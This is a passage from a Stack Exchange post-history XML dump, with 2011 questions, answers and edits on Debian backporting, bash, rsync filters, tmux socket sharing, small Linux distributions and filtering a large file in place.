recent enough,&#xD;&#xA;    you'll need to backport that&#xD;&#xA;    dependency first. This can spriral&#xD;&#xA;    out of control. I usually give up if&#xD;&#xA;    I have to deal with more than 2&#xD;&#xA;    levels of recursion. Note however, that&#xD;&#xA;    the real dependencies aren't necessarily&#xD;&#xA;    as tight as stated ie. an older version may&#xD;&#xA;    work. The packager often don't try to find&#xD;&#xA;    the oldest version of a build (or, indeed, runtime)&#xD;&#xA;    dependency that will work.     &#xD;&#xA;  &#xD;&#xA; 5. Build packages that are more recent&#xD;&#xA;    than the most recent packages in&#xD;&#xA;    testing/unstable/experimental.&#xD;&#xA;    This can be relatively challenging, but still sometimes&#xD;&#xA;    surprisingly doable. The first thing&#xD;&#xA;    to note is that if you are trying to&#xD;&#xA;    package a more recent version of a&#xD;&#xA;    package that is already in Debian,&#xD;&#xA;    you are already starting with a big&#xD;&#xA;    advantage, namely that you have the&#xD;&#xA;    existing packaging to work with. Just&#xD;&#xA;    do&#xD;&#xA;        &#xD;&#xA;        apt-get source packagename&#xD;&#xA;        &#xD;&#xA;    and `apt-get` will download the&#xD;&#xA;    corresponding source package,&#xD;&#xA;    including the debian subdirectory&#xD;&#xA;    where the packaging lives. Note&#xD;&#xA;    furthermore that these days, this&#xD;&#xA;    packaging often lives inside some&#xD;&#xA;    verson control repository (git seems&#xD;&#xA;    popular with Debian) and stable apt&#xD;&#xA;    (currently [0.8.10.3](http://packages.debian.org/source/stable/apt))&#xD;&#xA;    helpfully tells&#xD;&#xA;    you where this is when  you invoke&#xD;&#xA;    `apt-get source`. You should look at&#xD;&#xA;    this, because the packagers may have&#xD;&#xA;    more recent versions of the&#xD;&#xA;    packaging than corresponds to any&#xD;&#xA;    released package. Eg.&#xD;&#xA;&#xD;&#xA;        $ apt-get source mercurial&#xD;&#xA;          Reading package lists... Done&#xD;&#xA;          Building dependency tree       &#xD;&#xA;          Reading state information... Done&#xD;&#xA;          NOTICE: 'mercurial' packaging is maintained in the 'Svn' version control system at:&#xD;&#xA;          svn://svn.debian.org/python-apps/packages/mercurial/trunk&#xD;&#xA;&#xD;&#xA;    If the package is badly out of date, you may have to make modifications to the    &#xD;&#xA;    package, refresh the applied patches but it is still usually a good starting  &#xD;&#xA;    point. Debian seems to be in the process of standardizing package management on    &#xD;&#xA;    quilt per the [dpkg-source 3.0 (quilt) &#xD;&#xA;    format](http://wiki.debian.org/Projects/DebSrc3.0), so that helps with patch     &#xD;&#xA;    refreshing.&#xD;&#xA;    &#xD;&#xA;    I'll conclude with a real-life example of how I backported the [Debian  &#xD;&#xA;    package](http://packages.qa.debian.org/p/pgf.html) of  &#xD;&#xA;    [pgf](http://pgf.sourceforge.net/). The last packaged version of     &#xD;&#xA;    pgf was 2.00 in 2008, and since then 2.10 had been released. See the discussion &#xD;&#xA;    in [Please update to newest stable version of pgf  &#xD;&#xA;    (2.10)](http://bugs.debian.org/606128), and my followup bug with a patch, [pgf: &#xD;&#xA;    patches against 2.0 Debian packaging](http://bugs.debian.org/618440). As it &#xD;&#xA;    turns out, the Debian packaging of pgf was very simple, and I just had to change   &#xD;&#xA;    one line in the 2.10 packaging to make it work. I ended up quelling all the   &#xD;&#xA;    [lintian](http://packages.qa.debian.org/l/lintian.html) complaints as well, but   &#xD;&#xA;    that was strictly optional.&#xD;&#xA;" />
  <row Id="26801" PostHistoryTypeId="5" PostId="11044" RevisionGUID="c68816e2-e4cf-4fb4-9f9c-202a90df3ec8" CreationDate="2011-04-11T06:28:29.220" UserId="3169" Comment="try to make the question make sense; deleted 17 characters in body" Text="I have a symlink&#xD;&#xA;&#xD;&#xA;    ~/link -&gt; ~/a/really/long/path&#xD;&#xA;    &#xD;&#xA;When I do&#xD;&#xA;&#xD;&#xA;    cd ~/link&#xD;&#xA;    cd ..    &#xD;&#xA;   &#xD;&#xA;it takes me to&#xD;&#xA;&#xD;&#xA;    ~&#xD;&#xA;    &#xD;&#xA;but I want to go to&#xD;&#xA;&#xD;&#xA;    ~/a/really/long&#xD;&#xA;    &#xD;&#xA;Is there a way to do this?&#xD;&#xA;&#xD;&#xA;I am using bash." />
  <row Id="26802" PostHistoryTypeId="2" PostId="11057" RevisionGUID="b98db277-695f-408a-b4f6-61cb353b6ab7" CreationDate="2011-04-11T07:05:22.433" UserId="6477" Text="i have a spare machine with 80GB HDD, 512 MB RAM with XP,&#xD;&#xA;i want to try a linux which should be veryyy small and free to !&#xD;&#xA;what should i try ?" />
  <row Id="26803" PostHistoryTypeId="1" PostId="11057" RevisionGUID="b98db277-695f-408a-b4f6-61cb353b6ab7" CreationDate="2011-04-11T07:05:22.433" UserId="6477" Text="what is the free, smallest UNIX/LINUX OS ?" />
  <row Id="26804" PostHistoryTypeId="3" PostId="11057" RevisionGUID="b98db277-695f-408a-b4f6-61cb353b6ab7" CreationDate="2011-04-11T07:05:22.433" UserId="6477" Text="élinuxà" />
  <row Id="26805" PostHistoryTypeId="2" PostId="11058" RevisionGUID="32726aef-02d5-485d-8182-36a29f7284e9" CreationDate="2011-04-11T07:13:30.323" UserId="3046" Text="For a computer with those specs you really don't need to worry about size. Most Linuxes will be able to happily run on that, and are free.&#xD;&#xA;&#xD;&#xA;A simple option would be Ubuntu - it does most things right out of the box, so while not quite as lean as some other Linuxes, it is an easy one to try out if you have never used one before. If you want, you can even run it off a CD to try before you install.&#xD;&#xA;&#xD;&#xA;There is even an Ubuntu Stackexchange so you can get assistance easily if required." />
  <row Id="26806" PostHistoryTypeId="2" PostId="11059" RevisionGUID="4c9769f0-0cb3-448b-8c26-04c224e3e78f" CreationDate="2011-04-11T07:29:08.760" UserId="4949" Text="Just recreating the /tmp directory with proper permissions should do the trick.&#xD;&#xA;&#xD;&#xA;`mkdir /tmp`  &#xD;&#xA;`chmod 777 /tmp`  &#xD;&#xA;`chmod +t /tmp`  &#xD;&#xA;&#xD;&#xA;`/tmp` does not contain any crucial data that needs to be kept intact between reboots, but it *is* crucial for quite a number of applications that the directory exists and can be written to.&#xD;&#xA;" />
  <row Id="26807" PostHistoryTypeId="2" PostId="11060" RevisionGUID="1bfb22ef-750c-4206-b52f-f3aa1a9ba1eb" CreationDate="2011-04-11T07:29:12.757" UserId="1900" Text="Build your own distro&#xD;&#xA;http://www.linuxfromscratch.org/lfs/" />
  <row Id="26808" PostHistoryTypeId="2" PostId="11061" RevisionGUID="97601af5-526d-4776-bacd-d241afd9998d" CreationDate="2011-04-11T07:35:50.217" UserId="3764" Text="RPMs that are downloaded and installed by yum are stored in `/var/cache/yum/&lt;repo name&gt;` so just back up those directories if you need to. &#xD;&#xA;&#xD;&#xA;EDIT: you have to `set keepcache=1` in `/etc/yum.comf` if you don't want the downloaded rpms to be deleted after successful installation." />
  <row Id="26809" PostHistoryTypeId="2" PostId="11062" RevisionGUID="5a4eea7e-3b39-4e8d-9c5d-1cbaec87a37c" CreationDate="2011-04-11T07:47:47.530" UserId="5978" Text="There are several **small** distributions of linux, like **Damn Small Linux** http://www.damnsmalllinux.org/ ) or **Puppy Linunx** ( http://puppylinux.org )&#xD;&#xA;&#xD;&#xA;But with that specs you don't need such a small distribution and you can install any, like **Debian** or **Ubuntu**... you can check many of them to see which one fits better in the idea you have for that machine at Distrowatch ( http://distrowatch.com/ )&#xD;&#xA;&#xD;&#xA;" />
  <row Id="26810" PostHistoryTypeId="2" PostId="11063" RevisionGUID="c960994e-1156-4fd2-987e-db968561c752" CreationDate="2011-04-11T08:31:40.737" UserId="6479" Text="I am essentially trying to assing certain portions of the output of a shell command to mulitple variables, but I don't know how to do that.&#xD;&#xA;&#xD;&#xA;For simplicity's sake, assume that the command on the shell, when executes, prints&#xD;&#xA;&#xD;&#xA;    one two three four&#xD;&#xA;&#xD;&#xA;which can be simulated with a&#xD;&#xA;&#xD;&#xA;    echo &quot;one two three four&quot;&#xD;&#xA;&#xD;&#xA;(although the actual comannd is different)&#xD;&#xA;&#xD;&#xA;Now, I'd like to assign the second and fourth word of the output (in this case *two* and *four*) to the variables *w1* and *w2*.&#xD;&#xA;&#xD;&#xA;I thought I could use the *read* command like so:&#xD;&#xA;&#xD;&#xA;    echo &quot;one two three four&quot; | awk '{print $2 &quot; &quot; $4}' | read w1 w2&#xD;&#xA;&#xD;&#xA;but this doesn't work, probably because the *read* command is executed in a sub-process.&#xD;&#xA;&#xD;&#xA;So, how would I go about to achieve what I am after?&#xD;&#xA;" />
  <row Id="26811" PostHistoryTypeId="1" PostId="11063" RevisionGUID="c960994e-1156-4fd2-987e-db968561c752" CreationDate="2011-04-11T08:31:40.737" UserId="6479" Text="How to assign values to multiple variables in command line with bars." />
  <row Id="26812" PostHistoryTypeId="3" PostId="11063" RevisionGUID="c960994e-1156-4fd2-987e-db968561c752" CreationDate="2011-04-11T08:31:40.737" UserId="6479" Text="éshellàébashà" />
  <row Id="26813" PostHistoryTypeId="5" PostId="11058" RevisionGUID="c6ccd376-d605-4f7e-aa66-3fd74ee0194d" CreationDate="2011-04-11T09:02:02.910" UserId="4667" Comment="add link for askubuntu.com" Text="For a computer with those specs you really don't need to worry about size. Most Linuxes will be able to happily run on that, and are free.&#xD;&#xA;&#xD;&#xA;A simple option would be Ubuntu - it does most things right out of the box, so while not quite as lean as some other Linuxes, it is an easy one to try out if you have never used one before. If you want, you can even run it off a CD to try before you install.&#xD;&#xA;&#xD;&#xA;There is even an [Ubuntu Stackexchange][1] so you can get assistance easily if required.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://askubuntu.com/" />
  <row Id="26814" PostHistoryTypeId="24" PostId="11058" RevisionGUID="c6ccd376-d605-4f7e-aa66-3fd74ee0194d" CreationDate="2011-04-11T09:02:02.910" Comment="Proposed by 4667 approved by 885 edit id of 258" />
  <row Id="26815" PostHistoryTypeId="2" PostId="11064" RevisionGUID="c42125f9-6b06-45c4-bab2-fc698423dff2" CreationDate="2011-04-11T09:05:48.507" UserId="872" Text="Try setting your IFS:&#xD;&#xA;&#xD;&#xA;    $ echo &quot;one two three four&quot; | awk '{print $2 &quot; &quot; $4}' | IFS=' ' read w1 w2&#xD;&#xA;    $ echo $w1 $w2&#xD;&#xA;    two four&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Another approach, is to use a Here String:&#xD;&#xA;&#xD;&#xA;    $ read w1 w2 w3 w4 &lt;&lt;&lt; &quot;one two three four&quot;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="26816" PostHistoryTypeId="25" PostId="11057" RevisionGUID="195c4fa5-8e32-40d3-b72f-9944b98606e7" CreationDate="2011-04-11T09:09:05.530" Comment="http://twitter.com/#!/StackUnix/status/57369568628314112" />
  <row Id="26817" PostHistoryTypeId="12" PostId="11064" RevisionGUID="868cf2fa-ffd6-4fc6-9b2b-16bde85d9a63" CreationDate="2011-04-11T09:12:55.163" UserId="872" Text="[{&quot;Id&quot;:872,&quot;DisplayName&quot;:&quot;dogbane&quot;}]" />
  <row Id="26818" PostHistoryTypeId="5" PostId="11064" RevisionGUID="f870b9fd-3b64-451c-b0d1-66adf71f8089" CreationDate="2011-04-11T09:13:28.457" UserId="872" Comment="added 56 characters in body" Text="Doesn't work in bash for some reason, so deleting...&#xD;&#xA;&#xD;&#xA;Try setting your IFS:&#xD;&#xA;&#xD;&#xA;    $ echo &quot;one two three four&quot; | awk '{print $2 &quot; &quot; $4}' | IFS=' ' read w1 w2&#xD;&#xA;    $ echo $w1 $w2&#xD;&#xA;    two four&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Another approach, is to use a Here String:&#xD;&#xA;&#xD;&#xA;    $ read w1 w2 w3 w4 &lt;&lt;&lt; &quot;one two three four&quot;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="26819" PostHistoryTypeId="5" PostId="11062" RevisionGUID="b67175b7-849b-4854-a4be-c9d17858e73b" CreationDate="2011-04-11T09:14:52.963" UserId="688" Comment="formatting; grammar" Text="There are several **small** distributions of linux, like **[Damn Small Linux][1]** or **[Puppy Linux][2]**.&#xD;&#xA;&#xD;&#xA;But with those machine specs, you don't need such a light-weight distribution. You can install any, like **Debian** or **Ubuntu**... you can check many of them to see which one fits better in the idea you have for that machine at [Distrowatch][3].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.damnsmalllinux.org&#xD;&#xA;  [2]: http://puppylinux.org&#xD;&#xA;  [3]: http://distrowatch.com" />
  <row Id="26820" PostHistoryTypeId="5" PostId="11064" RevisionGUID="56cdda5c-6462-4522-8b61-07a6849f50ec" CreationDate="2011-04-11T09:25:14.580" UserId="872" Comment="added 236 characters in body" Text="This doesn't work because the `read` runs in a child process which cannot affect the parent's environment.&#xD;&#xA;&#xD;&#xA;You have a few options:&#xD;&#xA;&#xD;&#xA;You can convert your command to:&#xD;&#xA;&#xD;&#xA;    w1=$(echo &quot;one two three four&quot; | awk '{print $2}')&#xD;&#xA;    w2=$(echo &quot;one two three four&quot; | awk '{print $4}')&#xD;&#xA;&#xD;&#xA;Alternatively, change IFS and use `set`:&#xD;&#xA;&#xD;&#xA;    OIFS=&quot;$IFS&quot;&#xD;&#xA;    IFS=' '&#xD;&#xA;    set -- $(echo &quot;one two three four&quot; | awk '{print $2&quot; &quot;$4}')&#xD;&#xA;    IFS=&quot;$OIFS&quot;&#xD;&#xA;    w1=$1 w2=$2&#xD;&#xA;&#xD;&#xA;or a Here String:&#xD;&#xA;&#xD;&#xA;    read w1 w2 w3 w4 &lt;&lt;&lt; &quot;one two three four&quot;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="26821" PostHistoryTypeId="13" PostId="11064" RevisionGUID="7fedd1d4-2de5-49fe-8bdf-d7734f537231" CreationDate="2011-04-11T09:25:19.277" UserId="872" Text="[{&quot;Id&quot;:872,&quot;DisplayName&quot;:&quot;dogbane&quot;}]" />
  <row Id="26822" PostHistoryTypeId="2" PostId="11065" RevisionGUID="0c3cb07e-65f8-475f-a445-e5ef7b7e7e82" CreationDate="2011-04-11T09:25:26.093" UserId="6481" Text="I've tried this on Ubuntu but don't see why it wouldn't work on other unix variants.&#xD;&#xA;&#xD;&#xA;If both users are members of a common group and the socket-path uses that group both users will be able to attach fine.&#xD;&#xA;&#xD;&#xA;Rather than having to change the permissions of the socket-path every time you create one you could create a specific directory for sockets (I used /var/tmux).&#xD;&#xA;&#xD;&#xA;First add a group for tmux users&#xD;&#xA;&#xD;&#xA;    $ addgroup $TMUX_GROUP&#xD;&#xA;&#xD;&#xA;Create a directory with the group set to $TMUX_GROUP and use the setgid bit so that files created within the directory automatically have the group set to $TMUX_GROUP.&#xD;&#xA;&#xD;&#xA;    $ mkdir /var/tmux&#xD;&#xA;    $ chgrp $TMUX_GROUP /var/tmux&#xD;&#xA;    $ chmod g+ws /var/tmux&#xD;&#xA;&#xD;&#xA;Next make sure the users that want to share the session are members of $TMUX_GROUP&#xD;&#xA;&#xD;&#xA;    $ usermod -aG $TMUX_GROUP user1&#xD;&#xA;    $ usermod -aG $TMUX_GROUP user2&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="26823" PostHistoryTypeId="2" PostId="11066" RevisionGUID="a0e16d67-1db5-46c9-81fd-2ea91a140104" CreationDate="2011-04-11T09:31:37.993" UserId="4843" Text="You should try the &quot;tinyCore&quot;.&#xD;&#xA;This one is so small that you can run it on an Flash with just 128 MB RAM." />
  <row Id="26824" PostHistoryTypeId="2" PostId="11067" RevisionGUID="9ca6c06a-678e-4bac-848b-a5e64fcff754" CreationDate="2011-04-11T09:53:24.757" UserId="6484" Text="Hi, probably a simple question for you all - I have a fairly large file (35Gb), and I would like to filter this file in situ (i.e. I don't have enough disk space for another file), specifically I want to grep and ignore some patterns - is there a way to do this without using another file?&#xD;&#xA;&#xD;&#xA;Let's say I want to filter out all the lines containing &quot;foo:&quot; for example..." />
  <row Id="26825" PostHistoryTypeId="1" PostId="11067" RevisionGUID="9ca6c06a-678e-4bac-848b-a5e64fcff754" CreationDate="2011-04-11T09:53:24.757" UserId="6484" Text="Is there a way to filter a file in situ?" />
  <row Id="26826" PostHistoryTypeId="3" PostId="11067" RevisionGUID="9ca6c06a-678e-4bac-848b-a5e64fcff754" CreationDate="2011-04-11T09:53:24.757" UserId="6484" Text="élinuxàégrepà" />
  <row Id="26827" PostHistoryTypeId="5" PostId="11067" RevisionGUID="1903af82-4797-4ce5-a794-141ec640b557" CreationDate="2011-04-11T10:02:42.670" UserId="688" Comment="rm apology" Text="I have a fairly large file (35Gb), and I would like to filter this file in situ (i.e. I don't have enough disk space for another file), specifically I want to grep and ignore some patterns - is there a way to do this without using another file?&#xD;&#xA;&#xD;&#xA;Let's say I want to filter out all the lines containing &quot;foo:&quot; for example..." />
  <row Id="26828" PostHistoryTypeId="2" PostId="11068" RevisionGUID="7c20b088-faeb-4535-bd20-fc2f22560627" CreationDate="2011-04-11T10:24:49.733" UserId="4335" Text="What is the difference between gnome3 and gnome-shell, if any?&#xD;&#xA;" />
  <row Id="26829" PostHistoryTypeId="1" PostId="11068" RevisionGUID="7c20b088-faeb-4535-bd20-fc2f22560627" CreationDate="2011-04-11T10:24:49.733" UserId="4335" Text="Difference between Gnome3 and Gnome-shell" />
  <row Id="26830" PostHistoryTypeId="3" PostId="11068" RevisionGUID="7c20b088-faeb-4535-bd20-fc2f22560627" CreationDate="2011-04-11T10:24:49.733" UserId="4335" Text="égnomeöshellàégnome3à" />
  <row Id="26831" PostHistoryTypeId="5" PostId="11058" RevisionGUID="dec4b270-00cf-4cea-a958-722f4171a50a" CreationDate="2011-04-11T10:38:22.533" UserId="3046" Comment="as per comments" Text="For a computer with those specs you really don't need to worry about size. You can run Linux on far smaller machines just fine.&#xD;&#xA;&#xD;&#xA;A simple option would be Ubuntu - it does most things right out of the box, so while not quite as lean as some other Linuxes, it is an easy one to try out if you have never used one before. If you want, you can even run it off a CD to try before you install.&#xD;&#xA;&#xD;&#xA;There is even an [Ubuntu Stackexchange][1] so you can get assistance easily if required.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://askubuntu.com/" />
  <row Id="26832" PostHistoryTypeId="2" PostId="11069" RevisionGUID="2fbf374b-e78c-49b2-9f19-919e85a1141b" CreationDate="2011-04-11T10:46:02.697" UserId="688" Text="GNOME Shell is just one part of GNOME 3. It (together with Mutter, the window managet), is its primary user interface. The secondary interface (for hardware that can't handle the 3D workload, or for people who don't care about glitz), is Gnome Panel + Metacity (old window manager), which basically will you the look of current GNOME 2.&#xD;&#xA;&#xD;&#xA;GNOME (3) itself is a whole desktop suite that includes a whole bunch of stuff like GUI toolkits, development suites, a file manager, some utilities, and a whole bunch of apps." />
  <row Id="26833" PostHistoryTypeId="5" PostId="11069" RevisionGUID="f257ddbe-58e0-416b-9285-993b37cf303b" CreationDate="2011-04-11T10:51:15.360" UserId="688" Comment="added 3 characters in body; added 30 characters in body" Text="GNOME Shell is just one part of GNOME 3. It (together with Mutter, the window managet), is its primary user interface. The secondary interface (for hardware that can't handle the 3D workload, or for people who don't care about glitz), is Gnome Panel + Metacity (old window manager), which will basically give you the look of current GNOME 2.&#xD;&#xA;&#xD;&#xA;GNOME (3) itself is a whole desktop suite that includes a whole bunch of stuff like a GUI toolkit, development suites, a file manager, some utilities, some system-level daemons, and a whole bunch of apps." />
  <row Id="26834" PostHistoryTypeId="2" PostId="11070" RevisionGUID="cf9e8676-964d-4ebb-b041-8bccdf8c8ba4" CreationDate="2011-04-11T11:03:09.203" UserId="5535" Text="(I have an Mx518 myself, and I'm making some assumptions about the 500 based on my 518.)&#xD;&#xA;&#xD;&#xA;The two buttons immediately forward and behind the wheel are intended to control the DPI of the mouse. Since this appears to be done in the hardware itself, I don't know if it's advisable to use them for anything else.&#xD;&#xA;&#xD;&#xA;You may be able to use [lmctl][1] to configure the topmost button or the wheel-flanking buttons. There's another program called `logitech_applet` but I've never used it&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.bedroomlan.org/projects/lmctl" />
  <row Id="26835" PostHistoryTypeId="5" PostId="11046" RevisionGUID="248360ae-4256-41e7-a273-1e881632bc16" CreationDate="2011-04-11T11:28:06.497" UserId="4671" Comment="Add info about cd documentation" Text="Bash (as well as ksh, zsh, and even ash) track directory changes so that `cd /foo/bar &amp;&amp; cd ..` always takes you to `/foo` even if `bar` is a symlink. Pass the `-P` option to `cd` to ignore the tracked change and follow the “physical” directory structure:&#xD;&#xA;&#xD;&#xA;    cd -P ..&#xD;&#xA;&#xD;&#xA;See `help cd` or `man builtins` for documentation about the bash builtin `cd`.&#xD;&#xA;If you really dislike the directory tracking feature, you can turn it off with `set -P` in bash (`set -o no_chase_link` in zsh).&#xD;&#xA;" />
  <row Id="26836" PostHistoryTypeId="24" PostId="11046" RevisionGUID="248360ae-4256-41e7-a273-1e881632bc16" CreationDate="2011-04-11T11:28:06.497" Comment="Proposed by 4671 approved by 885 edit id of 259" />
  <row Id="26837" PostHistoryTypeId="5" PostId="2503" RevisionGUID="1ebcc3d1-11a7-4fff-a4df-0cb1317c03e5" CreationDate="2011-04-11T11:31:01.910" UserId="885" Comment="added `-r` in `rsync a/ b`" Text="Rsync's filter rules can seem daunting when you read the manual, but there are a few simple principles that suffice in many cases:&#xD;&#xA;&#xD;&#xA;* Inclusions and exclusions:&#xD;&#xA; * Excluding files by name or by location is easy: `--exclude=*~`, `--exclude=/some/relative/location`.&#xD;&#xA; * If you only want to match a few files or locations, include them, *include every directory leading to them* (for example with `--include=*/`), then exclude the rest with `--exclude='*'`. This is because:&#xD;&#xA; * If you exclude a directory, this excludes everything below it.&#xD;&#xA; * If you include a directory, this doesn't automatically include its contents. In recent versions, `--include='directory/***'` will do that.&#xD;&#xA; * For each file, the first matching rule applies (and anything never matched is included).&#xD;&#xA;&#xD;&#xA;* Patterns:&#xD;&#xA; * If a pattern doesn't contain a `/`, it applies to the file name sans directory.&#xD;&#xA; * If a pattern ends with `/`, it applies to directories only.&#xD;&#xA; * If a pattern starts with `/`, it applies to the whole path from the directory that was passed as an argument to `rsync`.&#xD;&#xA; * `*` any substring of a single directory component (i.e. never matches `/`); `**` matches any path substring.&#xD;&#xA;&#xD;&#xA;* If a source argument ends with a `/`, its contents are copied (`rsync -r a/ b` creates `b/foo` for every `a/foo`). Otherwise the directory itself is copied (`rsync -r a/ b` creates `b/a`).&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;Thus here we need to include `*.pdf`, include directories containing them, and exclude everything else.&#xD;&#xA;&#xD;&#xA;    rsync -a --include='*.pdf' --include='*/' --exclude='*' ~/LaTeX/ ~/Output/&#xD;&#xA;&#xD;&#xA;Note that this copies all directories, even the ones that contain no matching file or subdirectory containing one. This can be avoided with the `--prune-empty-dirs` option (it's not a universal solution since you then can't copy a directory even by matching it explicitly, but that's a rare requirement).&#xD;&#xA;&#xD;&#xA;    rsync -am --include='*.pdf' --include='*/' --exclude='*' ~/LaTeX/ ~/Output/&#xD;&#xA;" />
  <row Id="26838" PostHistoryTypeId="2" PostId="11071" RevisionGUID="ba9fc7cd-7b3a-4488-b945-7d11321358d4" CreationDate="2011-04-11T11:35:14.630" UserId="6488" Text="Distributions described as lightweight&#xD;&#xA;&#xD;&#xA; [BasicLinux]- A very lightweight distribution capable of running on an Intel 386 and&#xD;&#xA; 3 MB of RAM.&#xD;&#xA;&#xD;&#xA; [Absolute Linux]&#xD;&#xA;&#xD;&#xA; [Damn Small Linux] - &quot;light enough to power a 486DX with 16MB of Ram&quot;&#xD;&#xA;&#xD;&#xA; [Lubuntu]- light weight in comparison to Ubuntu.&#xD;&#xA;&#xD;&#xA; [Puppy Linux] - light weight relative to most other Linux distributions.&#xD;&#xA;&#xD;&#xA; [SliTaz] - 25 megabyte distribution &#xD;&#xA;&#xD;&#xA; [Tiny Core Linux] - 10 megabyte distribution&#xD;&#xA;&#xD;&#xA; [Wolvix]&#xD;&#xA;&#xD;&#xA; [Xubuntu] - light weight in comparison to Ubuntu and Kubuntu.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;[**Source of above**][10]&#xD;&#xA;&#xD;&#xA;Have fun!&#xD;&#xA;&#xD;&#xA;  [10]: http://en.wikipedia.org/wiki/Mini_Linux" />
  <row Id="26839" PostHistoryTypeId="5" PostId="11067" RevisionGUID="1f446f7b-cf17-4fd3-985a-e1f25881e224" CreationDate="2011-04-11T11:45:40.540" UserId="885" Comment="edited body; edited tags; edited title" Text="I have a fairly large file (35Gb), and I would like to filter this file in situ (i.e. I don't have enough disk space for another file), specifically I want to grep and ignore some patterns — is there a way to do this without using another file?&#xD;&#xA;&#xD;&#xA;Let's say I want to filter out all the lines containing `foo:` for example..." />
  <row Id="26840" PostHistoryTypeId="4" PostId="11067" RevisionGUID="1f446f7b-cf17-4fd3-985a-e1f25881e224" CreationDate="2011-04-11T11:45:40.540" UserId="885" Comment="edited body; edited tags; edited title" Text="Is there a way to filter a file in place?" />
  <row Id="26841" PostHistoryTypeId="6" PostId="11067" RevisionGUID="1f446f7b-cf17-4fd3-985a-e1f25881e224" CreationDate="2011-04-11T11:45:40.540" UserId="885" Comment="edited body; edited tags; edited title" Text="étextöprocessingàégrepàélargeöfilesà" />
  <row Id="26842" PostHistoryTypeId="5" PostId="11058" RevisionGUID="64954c3e-aa55-484a-a466-147030d8b6df" CreationDate="2011-04-11T11:48:06.963" UserId="3046" Comment="added 12 characters in body" Text="For a computer with those specs you really don't need to worry about size. You can run Linux on far smaller machines just fine.&#xD;&#xA;&#xD;&#xA;A simple option would be Ubuntu - it does most things right out of the box, so while not quite as lean as some other Linuxes, it is an easy one to try out if you have never used one before. If you want, you can even run it off a CD to try before you install.&#xD;&#xA;&#xD;&#xA;There is even an [Ubuntu Stackexchange][1] so you can get assistance easily if required.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://askubuntu.com/q/28965/7163" />
  <row Id="26843" PostHistoryTypeId="2" PostId="11072" RevisionGUID="15d4ac5e-782d-49d7-81bf-13c4e697ae91" CreationDate="2011-04-11T11:49:27.477" UserId="872" Text="You can use `sed` to edit files in place (but this does create an intermediate temporary file):&#xD;&#xA;&#xD;&#xA;To remove all lines containing `foo`:&#xD;&#xA;&#xD;&#xA;    sed -i '/foo/d' myfile&#xD;&#xA;&#xD;&#xA;To keep all lines containing `foo`:&#xD;&#xA;&#xD;&#xA;    sed -i '/foo/!d' myfile" />
  <row Id="26844" PostHistoryTypeId="2" PostId="11073" RevisionGUID="36d27707-d845-4958-bbed-947120a5117e" CreationDate="2011-04-11T11:58:09.640" UserId="6489" Text="Eclipse would probably the best choice for you. It has plugins for a huge amount of languages and technologies, customizable, available for all OS. As minus it's use java and requires a lot of a memory." />
  <row Id="26845" PostHistoryTypeId="2" PostId="11074" RevisionGUID="d4065dc3-baaf-480b-9846-be08d4e45d0f" CreationDate="2011-04-11T12:01:05.377" UserId="1078" Text="At the system call level this should be possible. A program can open your target file for writing without truncating it and start writing what it reads from stdin. When reading EOF, the output file can be truncated.&#xD;&#xA;&#xD;&#xA;Since you are filtering lines from the input, the output file write position should always be less than the read position. This means you should not corrupt your input with the new output.&#xD;&#xA;&#xD;&#xA;However, finding a program that does this is the problem. `dd(1)` has the option `conv=notrunc` that does not truncate the output file on open, but it also does not truncate at the end, leaving the original file contents after the grep contents (with a command like `grep pattern bigfile | dd of=bigfile conv=notrunc`)&#xD;&#xA;&#xD;&#xA;Since it is very simple from a system call perspective, I wrote a small program and tested it on a small (1MiB) full loopback filesystem. It did what you wanted, but you really want to test this with some other files first. It's always going to be risky overwriting a file.&#xD;&#xA;&#xD;&#xA;**overwrite.c**&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    #include &lt;sys/types.h&gt;&#xD;&#xA;    #include &lt;sys/stat.h&gt;&#xD;&#xA;    #include &lt;fcntl.h&gt;&#xD;&#xA;    #include &lt;stdio.h&gt;&#xD;&#xA;    #include &lt;stdlib.h&gt;&#xD;&#xA;    #include &lt;unistd.h&gt;&#xD;&#xA;    #include &lt;errno.h&gt;&#xD;&#xA;    &#xD;&#xA;    int main(int argc, char **argv)&#xD;&#xA;    {&#xD;&#xA;            int outfd;&#xD;&#xA;            char buf[1024];&#xD;&#xA;            int nread;&#xD;&#xA;            off_t file_length;&#xD;&#xA;    &#xD;&#xA;            if (argc != 2) {&#xD;&#xA;                    fprintf(stderr, &quot;usage: %s &lt;output_file&gt;&quot;, argv[0]);&#xD;&#xA;                    exit(1);&#xD;&#xA;            }&#xD;&#xA;            if ((outfd = open(argv[1], O_WRONLY)) == -1) {&#xD;&#xA;                    perror(&quot;Could not open output file&quot;);&#xD;&#xA;                    exit(2);&#xD;&#xA;            }&#xD;&#xA;            while ((nread = read(0, buf, sizeof(buf))) &gt; 0) {&#xD;&#xA;                    if (write(outfd, buf, nread) == -1) {&#xD;&#xA;                            perror(&quot;Could not write to output file&quot;);&#xD;&#xA;                            exit(4);&#xD;&#xA;                    }&#xD;&#xA;            }&#xD;&#xA;            if (nread == -1) {&#xD;&#xA;                    perror(&quot;Could not read from stdin&quot;);&#xD;&#xA;                    exit(3);&#xD;&#xA;            }&#xD;&#xA;            file_length = lseek(outfd, 0, SEEK_CUR);&#xD;&#xA;            if (file_length == (off_t)-1) {&#xD;&#xA;                    perror(&quot;Could not get file position&quot;);&#xD;&#xA;                    exit(5);&#xD;&#xA;            }&#xD;&#xA;            if (ftruncate(outfd, file_length) == -1) {&#xD;&#xA;                    perror(&quot;Could not truncate file&quot;);&#xD;&#xA;                    exit(6);&#xD;&#xA;            }&#xD;&#xA;            close(outfd);&#xD;&#xA;            exit(0);&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;You would use it as:&#xD;&#xA;&#xD;&#xA;    grep pattern bigfile | overwrite 